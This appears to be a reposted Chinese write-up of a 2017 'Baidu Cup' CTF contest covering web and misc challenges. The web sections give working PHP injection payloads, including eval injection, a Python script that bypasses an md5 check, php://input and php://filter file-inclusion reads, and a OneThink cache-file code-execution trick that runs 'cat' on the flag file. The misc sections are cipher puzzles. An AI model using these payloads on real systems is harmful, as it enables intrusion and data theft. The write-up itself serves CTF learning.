“百度杯”CTF比赛 2017 二月场(Misc Web)

  • 爆破-1

打开链接,是502

我直接在后面加个变量传参数:?a=1

出了一段代码

var_dump()函数中,用了$$a,可能用了超全局变量GLOBALS

给hello参数传个GLOBALS

得到flag

  • 爆破-2

打开链接

var_dump()会返回数据变量的类型和值

eval()会把字符串当作php代码

有两种方法得到flag

1:?hello=file('flag.php')

2:?hello=);show_source('flag.php');var_dump(

  • 爆破-3

打开链接,还是php代码

<?php 
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
  $_SESSION['nums'] = 0;
  $_SESSION['time'] = time();
  $_SESSION['whoami'] = 'ea';
}

if($_SESSION['time']+120<time()){
  session_destroy();
}

$value = $_REQUEST['value'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];

if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
  $_SESSION['nums']++;
  $_SESSION['whoami'] = $str_rands;
  echo $str_rands;
}

if($_SESSION['nums']>=10){
  echo $flag;
}

show_source(__FILE__);
?>

关键几点:

变量str_rand的值是2位小写字母

如果SESSIONS中的whoami参数和参数value的值相等,并且md5()函数处理后的变量value的第5位开始往后4位等于0,nums就会加1,whoami的值就也会更新,当nums大于10的话,就能得到flag了

数组可以绕过md5的这个判断,因为md5()函数处理一个数组会返回null,null==0

第一次传参,?value[]=ea

第二次传参,?value[]=mj,以此类推

可以写个python脚本跑一下

import requests

s = requests.session()

strs = ['abcdefghijklmnopqrstuvwxyz']

url = "http://b9998c89f8054c61b75dcf6d48d1d164707c9299b7f949f4.game.ichunqiu.com/?value[]=ea"
r = s.get(url)

for i in range(10):
    url_1 = "http://b9998c89f8054c61b75dcf6d48d1d164707c9299b7f949f4.game.ichunqiu.com/?value[]=" + r.text[:2]
    r = s.get(url_1)
    print(r.url)
    if 'flag{' in r.text:
    	print(r.text)

运行结果

得到flag

  • include:

是一道文件包含题,打开链接

如果参数path的文件存在的话,则包含该文件;如果不存在的话,包含phpinfo.php文件

用php://input协议包含post请求的代码

查看该目录下的文件

发现一个可疑文件,查看一下内容

得到flag

也可以用php协议直接读文件内容

php://filter/read=convert.base64-encode/resource=dle345aae.php

解一下base64就好了

  • OneThink

题目提示已知漏洞

百度一下相关的漏洞

参考链接:http://www.hackdig.com/06/hack-36510.htm

注册两个账号,%0a$a=$_GET[a];//和%0aecho `$a`;//

注册的时候要拿burp改包

创建完成后,依次登陆

访问缓存文件:/Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php

加上参数a=ls

执行成功,找一下flag文件

a=cat ../../flag.php

得到flag

misc 1 祸起北荒

题目内容:亿万年前
天子之子华夜,被父神之神末渊上神告知六荒十海之北荒西二旗即将发生一场“百度杯”的诸神之战
他作为天族的太子必须参与到此次诸神之战定六荒十海
华夜临危受命,马上带着火凤凰飞行到北荒“西二旗”
却没想到这六荒之首北荒西二旗果然名不虚传,这是一个位于六层虚数空间上的时空大陆
他需要闯过每一层虚数空间,方能到达虚数空间
第一层虚数空间是需要与一个上古神器“i春秋”进行智能比拼,获取开启第一层虚数空间的flag
启动法诀: 元宵节百度杯与红包更加搭配哟!
flag格式:flag{****}

在微信上跟i春秋公众号的机器人聊天得flag

misc 2 上古神器

题目内容:第二层虚数空间是上古之神密神守护,密神精通各类法器加密解密珠算之法更是出神入化。
华夜十分客气对密神道:在下是天族太子华夜。赴诸神之战,还请上神行个方便,让在下通过这第二层虚数空间
密神听了华夜的话之后,十分激动:如果你要通过第二层虚数空间,没有问题,但是你需要帮助我将这个波斯传来的“波利比奥斯棋盘”上的秘密解决掉
华夜拿到该棋盘,只见棋盘盒上分布着一串十分奇异的数字:
“3534315412244543_434145114215_132435231542”
华夜微微思量,只见他大袖一会,手上立马变出一个计算器,瘦削的指尖快速的点击
一万年之后。。。
华夜通过他神力,终于揭开了棋盘山的秘密。。
密神见之十分欣喜,望着月亮升起的地方忧伤的道:实不相瞒,我守护者这第二层虚数空间已经上万年,在这期间无数人想要通过第二层的虚数空间,但都无功而返。不是我为难他们,而是通往第三层虚数空间的法诀就是这棋盘的秘密。
多少年来无人成功。太子你年纪轻轻就有如此神力,实在是后生可畏。
flag格式:flag{****}  全为小写字符串

把上面那串数字进行解密,加密方式为波利比奥斯棋盘

把上面那串数字两两一组,按照表先横后竖地比对

得到

misc 3 此去经年

题目内容:第三层虚数空间是由一位已经陨落的上古剑圣--独孤求败一手创立的,据说这位上古大神痴迷诗词,其中最爱的便是一首解谜诗
原本有心花不开
偶尔有人来相伴
悔时无心已有泪
吞下口去悄无声
来者耳边轻轻诉
缺少左边心相印
东风带走一二点
一生只败在了两件事上,第一件事是这首解谜诗
另外一件事是,没有动用丝毫武力便败给了劲敌东方不败
失败的原因没能填满东方不败出的一首诗句
他将这首残诗刻在了通往第四层虚数空间的通关法诀上
只有填满句诗词,才能走出这层虚数空间
5LiD5pyI5Zyo6YeOICA=
5YWr5pyI5Zyo5a6HIA==
5Lmd5pyI5Zyo5oi3
flag格式:flag{*****}

把上面三行进行base64解密

import base64

print(base64.b64decode('5LiD5pyI5Zyo6YeOICA=').decode())
print(base64.b64decode('5YWr5pyI5Zyo5a6HIA==').decode())
print(base64.b64decode('5Lmd5pyI5Zyo5oi3').decode())

得到三句诗

百度一下这首诗

十月这句就是flag了

原文地址:https://www.cnblogs.com/sch01ar/p/8904178.html